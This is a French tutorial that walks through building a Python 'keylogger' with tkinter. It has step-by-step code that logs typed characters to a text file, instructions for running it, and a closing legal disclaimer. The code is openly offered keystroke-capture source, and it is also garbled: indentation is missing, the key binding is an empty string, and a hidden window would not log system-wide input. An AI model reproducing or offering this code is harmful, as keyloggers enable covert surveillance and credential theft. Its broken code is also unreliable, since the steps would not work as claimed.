Comment créer un keylogger avec Python
Vous pouvez créer un programme keylogger en Python pour capturer les frappes clavier saisies sur un ordinateur. Les frappes sont enregistrées dans un fichier texte, et tout l'entrée est consignée. Vous pouvez utiliser un keylogger pour surveiller l'activité sur votre ordinateur.
Étape 1
Lancez IDLE, cliquez sur le menu « Fichier » et sélectionnez « Nouvelle fenêtre ». Appuyez sur Ctrl+S pour ouvrir la fenêtre « Enregistrer sous ». Utilisez « getKeyLogger » comme nom de fichier et cliquez sur « Enregistrer ».
Étape 2
Ajoutez la ligne de code suivante pour importer l'espace de noms « Tkinter » et définir le chemin du fichier de journalisation :
import tkinter as tk
myFile = open("C:/temp/keyFile.txt", "w")
Étape 3
Copiez et collez le code suivant pour enregistrer chaque frappe dans le fichier :
def keypress(event):
if event.keysym == 'Escape':
main.destroy()
keyPressed = event.char
myFile.write(keyPressed)
Étape 4
Ajoutez le code suivant pour informer l'utilisateur qu'il peut commencer à taper, et qu'il peut appuyer sur Échap pour quitter :
main = tk.Tk()
print("Appuyez sur une touche (Échap pour quitter) :")
main.bind_all('', keypress)
main.withdraw()
main.mainloop()
myFile.close()
Étape 5
Cliquez sur le bouton « Démarrer » de Windows et tapez « cmd » dans la zone de recherche. Appuyez sur Entrée pour ouvrir l'invite de commandes. Allez dans « C:\Python<numéro de version> » et tapez « python getKeyLogger ». Appuyez sur Entrée pour exécuter le programme. Allez dans « C:/temp/ » et double-cliquez sur « keyFile.txt » pour voir les données de frappe.
⚠ Avertissement légal et éthique
L'utilisation de keyloggers sans le consentement explicite de tous les utilisateurs concernés est illégale dans de nombreuses juridictions et constitue une violation grave de la vie privée. Ce tutoriel est fourni à des fins éducatives uniquement. L'auteur et l'éditeur déclinent toute responsabilité en cas d'utilisation abusive. N'utilisez cet outil que sur vos propres appareils ou avec une autorisation écrite explicite.
